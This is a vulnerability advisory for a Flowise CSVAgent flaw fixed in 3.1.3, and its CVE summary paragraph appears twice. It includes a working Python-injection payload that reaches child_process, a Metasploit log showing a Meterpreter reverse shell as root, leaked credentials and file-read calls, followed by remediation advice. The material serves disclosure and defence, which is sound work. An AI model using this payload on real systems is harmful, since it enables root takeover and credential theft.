CVE-2026-69255

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, the CSVAgent in packages/components/nodes/agents/CSVAgent/CSVAgent.ts extracted attacker-controlled CSV data with file.split(',').pop() and interpolated it directly into executable Python as base64_string = "${base64String}" before calling Pyodide. The validatePythonCodeForDataFrame() denylist only checked later LLM-generated code and did not validate this initial code block. An authenticated attacker could inject a closing quote followed by Python code, use Pyodide's js bridge to load Node.js child_process, and execute arbitrary operating system commands as root in the Flowise container. This issue is fixed in version 3.1.3.

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, the CSVAgent in packages/components/nodes/agents/CSVAgent/CSVAgent.ts extracted attacker-controlled CSV data with file.split(',').pop() and interpolated it directly into executable Python as base64_string = "${base64String}" before calling Pyodide. The validatePythonCodeForDataFrame() denylist only checked later LLM-generated code and did not validate this initial code block. An authenticated attacker could inject a closing quote followed by Python code, use Pyodide's js bridge to load Node.js child_process, and execute arbitrary operating system commands as root in the Flowise container. This issue is fixed in version 3.1.3.

## UPDATE 2026-05-20: Full RCE as root VERIFIED **This is not theoretical — a Meterpreter reverse shell session as root has been established on Flowise 3.1.2.** ### Verified Exploit Chain 1. Python code injection via `base64_string = "${base64String}"` (CSVAgent.ts line 161) 2. Pyodide `js` bridge provides access to the host Node.js process 3. `process.mainModule.constructor._load('child_process')` loads child_process (bypasses ESM require restriction) 4. `.execSync('CMD')` executes arbitrary OS commands as **root** (PID 1 in container) ### Working RCE Payload ``` ";import js;e=js.globalThis.eval;e("process.mainModule.constructor._load('child_process').execSync('id')");# ``` **Constraint:** No commas allowed in payload — `csvFile.split(',')` splits on all commas. ### Metasploit Session Proof ``` msf > use exploit/multi/http/flowise_csv_agent_rce msf > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp msf > exploit [+] Authentication successful [+] Created chatflow: b6716feb-63c8-4fd2-993f-cd43788704b4 [*] Sending stage (3090404 bytes) to 172.17.0.2 [*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.2:41422) meterpreter > getuid Server username: root meterpreter > sysinfo Computer : cbce3fb352b7 OS : Linux 6.8.0-111-generic Architecture : x64 Meterpreter : x64/linux meterpreter > shell # id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm) # uname -a Linux cbce3fb352b7 6.8.0-111-generic x86_64 Linux ``` ### Additional Verified Impact **Credential Theft:** ``` FLOWISE_PASSWORD=admin123 DATABASE_PATH=/root/.flowise APIKEY_PATH=... ``` **Arbitrary File Read** via `process.binding('fs').readFileUtf8('/etc/hostname')` → `cbce3fb352b7` **Server DoS** — certain native binding calls (spawn_sync) crash the Node.js process entirely. ### CVSS v3.1: 9.9 CRITICAL `AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` --- ## Original Report (below) ## Vulnerable Code **File:** `packages/components/nodes/agents/CSVAgent/CSVAgent.ts` **Lines 133-138** — Unsanitized string extraction from data URI via `file.split(',').pop().pop()` — no validation on content. **Lines 155-171** — Direct interpolation into executable Python code: `base64_string = "${base64String}"` is inserted into a Python string literal via JS template literal. If the string contains a closing double-quote followed by Python code, it breaks out of the string context. `validatePythonCodeForDataFrame()` denylist is only applied to LLM-generated code at line 198, NOT to this initial code block at line 171. ## Remediation **Option 1 (Best):** Use `pyodide.globals.set('base64_string', base64String)` instead of string interpolation **Option 2:** Validate base64 before interpolation — reject if not matching `/^[A-Za-z0-9+/=]*$/` **Option 3:** Escape special characters (`"`, `\n`, `\r`, `\\`) before interpolation ## Related CVEs - CVE-2026-41264 (CSV Agent regex bypass) - CVE-2026-41265 (Airtable Agent sandbox bypass) - CVE-2026-46442 (NodeVM sandbox escape) **Disclosure:** Identified with AI assistance (Claude Code). Analysis, verification, and Metasploit module by S9S Bounty-LAB / Kamal Sentassi.